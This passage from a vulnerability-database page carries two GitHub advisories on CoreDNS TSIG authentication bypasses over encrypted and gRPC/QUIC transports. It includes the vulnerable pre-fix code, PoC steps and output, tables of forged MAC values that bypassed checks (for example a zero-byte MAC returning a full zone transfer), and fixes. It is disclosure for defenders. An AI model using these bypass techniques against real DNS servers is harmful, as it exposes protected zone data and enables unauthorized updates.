The same transport-family bug pattern also appears on other transports: - DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -> core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior. - DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go). - gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go).
The attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience.
PoC
- Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)
- Run python3 ./tsig-repro.py
- Expected output: *** Start CoreDNS *** Corefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile Log: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log
*** Baseline (plain TCP) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=9 (expected NOTAUTH=9)
*** Candidate (DoT) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
*** Candidate (DoH) *** no_tsig http=200 rcode=5 (expected REFUSED=5) invalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
*** OK *** TSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it. Results: /tmp/vh-f001-tsig-doh-dot-bypass/results.json
Impact
Unauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33190"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-303"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:46:15Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
"details": "### Summary\nCoreDNS\u0027 tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer\u0027s TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC.\n\n### Details\nThe tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go)\n\nTwo affected transports are shown directly in the PoC:\n- DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain.\n- DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go).\n\nThe same transport-family bug pattern also appears on other transports:\n- DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -\u003e core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior.\n- DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go).\n- gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go).\n\nThe attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience.\n\n### PoC\n1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)\n2. Run python3 ./tsig-repro.py\n3. Expected output:\n*** Start CoreDNS ***\nCorefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile\nLog: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log\n\n*** Baseline (plain TCP) ***\nno_tsig rcode=5 (expected REFUSED=5)\ninvalid_tsig rcode=9 (expected NOTAUTH=9)\n\n*** Candidate (DoT) ***\nno_tsig rcode=5 (expected REFUSED=5)\ninvalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount\u003e0)\n\n*** Candidate (DoH) ***\nno_tsig http=200 rcode=5 (expected REFUSED=5)\ninvalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount\u003e0)\n\n*** OK ***\nTSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it.\nResults: /tmp/vh-f001-tsig-doh-dot-bypass/results.json\n\n\n### Impact\nUnauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).",
"id": "GHSA-qhmp-q7xh-99rh",
"modified": "2026-05-08T15:28:24Z",
"published": "2026-04-28T22:46:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-qhmp-q7xh-99rh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33190"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS has TSIG authentication bypass on DoT, DoH, DoH3, DoQ, and gRPC"
}
GHSA-VP29-5652-4FW9
Vulnerability from github – Published: 2026-04-28 22:54 – Updated: 2026-05-08 15:30Summary
The gRPC, QUIC, DoH, and DoH3 transports in CoreDNS incorrectly handle TSIG authentication.
For gRPC and QUIC, CoreDNS checks whether the TSIG key name exists in the config, but does not actually verify the TSIG HMAC. If the key name matches, tsigStatus remains nil and the tsig plugin treats the request as "verified".
For DoH and DoH3, the issue is worse: TSIG is not verified at all. The DoH response writer has TsigStatus() hardcoded to return nil, so any request containing a TSIG record is treated as authenticated, even if the key name is invalid and the MAC is garbage.
As a result, attackers may bypass TSIG authentication on affected transports and access TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic updates, or other TSIG-gated plugin behavior.
Details
In server_grpc.go and server_quic.go, the TSIG handling checks whether the TSIG key name exists, but does not call dns.TsigVerify().
Relevant code before fix:
if tsig := msg.IsTsig(); tsig != nil {
if s.tsigSecret == nil {
w.tsigStatus = dns.ErrSecret
} else if _, ok := s.tsigSecret[tsig.Hdr.Name]; !ok {
w.tsigStatus = dns.ErrSecret
}
// key found -> nothing happens -> tsigStatus stays nil -> "verified"
}
This means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated.
PRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification.
The DoH and DoH3 paths have an even weaker failure mode. In https.go, DoHWriter.TsigStatus() returned nil unconditionally:
func (d *DoHWriter) TsigStatus() error {
return nil
}
In server_https.go, the incoming DNS message is unpacked from the HTTP request and passed directly into ServeDNS() without checking msg.IsTsig(), without looking up the TSIG key name, and without calling dns.TsigVerify().
The same pattern exists in the DoH3 path in server_https3.go.
The effective DoH/DoH3 flow before the fix was:
- HTTP or HTTP/3 request arrives.
- DNS message is unpacked from the request.
- A
DoHWriteris created. - The message is passed to
ServeDNS(). - The tsig plugin checks
w.TsigStatus(). TsigStatus()returns nil.- nil is interpreted as successful TSIG verification.
This means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents.
PoC
Setup: built CoreDNS from master at commit 12d9457 and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and tsig { require all }.
Listeners used the same TSIG configuration and key:
- TCP on port 1053, using the normal
dns.Serverpath where TSIG HMAC verification works correctly - gRPC on port 1443, using manual TSIG handling
- DoH on port 8443
- DoH3 with the same TSIG configuration
gRPC / QUIC behavior
A test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison.
| MAC used | gRPC | TCP |
|---|---|---|
| 32 zero bytes | BYPASS, 9 records returned | BADSIG |
| 32 random bytes | BYPASS, 9 records returned | BADSIG |
| HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG |
| truncated to 16 bytes | BYPASS, 9 records returned | BADSIG |
single byte 0x41 |
BYPASS, 9 records returned | BADSIG |
| empty MAC | BYPASS, 9 records returned | BADSIG |
| wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY |
6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed.
The same class applied to QUIC.
DoH / DoH3 behavior
For DoH, a test client sent DNS queries over HTTPS POST to /dns-query with forged TSIG records. These requests were also compared against TCP.
| TSIG variant | DoH result | TCP result |
|---|---|---|
| 32 zero bytes | BYPASS, NOERROR | BADSIG |
| 32 random bytes | BYPASS, NOERROR | BADSIG |
| HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG |
| truncated to 16 bytes | BYPASS, NOERROR | BADSIG |
single byte 0x41 |
BYPASS, NOERROR | BADSIG |
| empty MAC | BYPASS, NOERROR | BADSIG |
| bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY |
| no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED |
7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name.
An AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone.
The same pattern applies to DoH3 because it used the same DoHWriter TSIG behavior and did not verify TSIG before passing the message into the plugin chain.
To confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with REFUSED. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name.
Impact
An unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports.
Depending on configuration, this may allow an attacker to:
- perform AXFR or IXFR zone transfers over affected transports
- dump TSIG-protected zone data
- submit dynamic DNS updates if enabled
- bypass other TSIG-gated plugin behavior
- authenticate over DoH or DoH3 without knowing a valid TSIG key name
The DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid.
Affected transports
- gRPC
- QUIC
- DoH
- DoH3
Workarounds
If upgrading is not immediately possible:
- Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required.
- Restrict network-level access to affected transport ports to trusted sources only.
- Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports.
Fix
Affected transports must verify TSIG before passing the DNS message into the plugin chain.
For requests containing a TSIG record, the transport should:
- check whether TSIG secrets are configured
- verify that the TSIG key name exists
- call
dns.TsigVerify()against the original wire-format message - store the resulting status in the response writer
- return that status from
TsigStatus()
A successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35579"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:54:32Z",
"nvd_published_at": "2026-05-05T21:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe gRPC, QUIC, DoH, and DoH3 transports in CoreDNS incorrectly handle TSIG authentication.\n\nFor gRPC and QUIC, CoreDNS checks whether the TSIG key name exists in the config, but does not actually verify the TSIG HMAC. If the key name matches, `tsigStatus` remains nil and the tsig plugin treats the request as \"verified\".\n\nFor DoH and DoH3, the issue is worse: TSIG is not verified at all. The DoH response writer has `TsigStatus()` hardcoded to return nil, so any request containing a TSIG record is treated as authenticated, even if the key name is invalid and the MAC is garbage.\n\nAs a result, attackers may bypass TSIG authentication on affected transports and access TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic updates, or other TSIG-gated plugin behavior.\n\n### Details\n\nIn `server_grpc.go` and `server_quic.go`, the TSIG handling checks whether the TSIG key name exists, but does not call `dns.TsigVerify()`.\n\nRelevant code before fix:\n\n```go\nif tsig := msg.IsTsig(); tsig != nil {\n if s.tsigSecret == nil {\n w.tsigStatus = dns.ErrSecret\n } else if _, ok := s.tsigSecret[tsig.Hdr.Name]; !ok {\n w.tsigStatus = dns.ErrSecret\n }\n // key found -\u003e nothing happens -\u003e tsigStatus stays nil -\u003e \"verified\"\n}\n```\n\nThis means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated.\n\nPRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification.\n\nThe DoH and DoH3 paths have an even weaker failure mode. In `https.go`, `DoHWriter.TsigStatus()` returned nil unconditionally:\n\n```go\nfunc (d *DoHWriter) TsigStatus() error {\n return nil\n}\n```\n\nIn `server_https.go`, the incoming DNS message is unpacked from the HTTP request and passed directly into `ServeDNS()` without checking `msg.IsTsig()`, without looking up the TSIG key name, and without calling `dns.TsigVerify()`.\n\nThe same pattern exists in the DoH3 path in `server_https3.go`.\n\nThe effective DoH/DoH3 flow before the fix was:\n\n1. HTTP or HTTP/3 request arrives.\n2. DNS message is unpacked from the request.\n3. A `DoHWriter` is created.\n4. The message is passed to `ServeDNS()`.\n5. The tsig plugin checks `w.TsigStatus()`.\n6. `TsigStatus()` returns nil.\n7. nil is interpreted as successful TSIG verification.\n\nThis means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents.\n\n### PoC\n\nSetup: built CoreDNS from master at commit `12d9457` and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and `tsig { require all }`.\n\nListeners used the same TSIG configuration and key:\n\n- TCP on port 1053, using the normal `dns.Server` path where TSIG HMAC verification works correctly\n- gRPC on port 1443, using manual TSIG handling\n- DoH on port 8443\n- DoH3 with the same TSIG configuration\n\n#### gRPC / QUIC behavior\n\nA test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison.\n\n| MAC used | gRPC | TCP |\n|----------|------|-----|\n| 32 zero bytes | BYPASS, 9 records returned | BADSIG |\n| 32 random bytes | BYPASS, 9 records returned | BADSIG |\n| HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG |\n| truncated to 16 bytes | BYPASS, 9 records returned | BADSIG |\n| single byte `0x41` | BYPASS, 9 records returned | BADSIG |\n| empty MAC | BYPASS, 9 records returned | BADSIG |\n| wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY |\n\n6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed.\n\nThe same class applied to QUIC.\n\n#### DoH / DoH3 behavior\n\nFor DoH, a test client sent DNS queries over HTTPS POST to `/dns-query` with forged TSIG records. These requests were also compared against TCP.\n\n| TSIG variant | DoH result | TCP result |\n|-------------|------------|------------|\n| 32 zero bytes | BYPASS, NOERROR | BADSIG |\n| 32 random bytes | BYPASS, NOERROR | BADSIG |\n| HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG |\n| truncated to 16 bytes | BYPASS, NOERROR | BADSIG |\n| single byte `0x41` | BYPASS, NOERROR | BADSIG |\n| empty MAC | BYPASS, NOERROR | BADSIG |\n| bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY |\n| no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED |\n\n7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name.\n\nAn AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone.\n\nThe same pattern applies to DoH3 because it used the same `DoHWriter` TSIG behavior and did not verify TSIG before passing the message into the plugin chain.\n\nTo confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with `REFUSED`. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name.\n\n### Impact\n\nAn unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports.\n\nDepending on configuration, this may allow an attacker to:\n\n- perform AXFR or IXFR zone transfers over affected transports\n- dump TSIG-protected zone data\n- submit dynamic DNS updates if enabled\n- bypass other TSIG-gated plugin behavior\n- authenticate over DoH or DoH3 without knowing a valid TSIG key name\n\nThe DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid.\n\n### Affected transports\n\n- gRPC\n- QUIC\n- DoH\n- DoH3\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n- Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required.\n- Restrict network-level access to affected transport ports to trusted sources only.\n- Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports.\n\n### Fix\n\nAffected transports must verify TSIG before passing the DNS message into the plugin chain.\n\nFor requests containing a TSIG record, the transport should:\n\n1. check whether TSIG secrets are configured\n2. verify that the TSIG key name exists\n3. call `dns.TsigVerify()` against the original wire-format message\n4. store the resulting status in the response writer\n5. return that status from `TsigStatus()`\n\nA successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.",
"id": "GHSA-vp29-5652-4fw9",
"modified": "2026-05-08T15:30:59Z",
"published": "2026-04-28T22:54:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35579"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS has TSIG authentication bypass on gRPC and QUIC transports"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.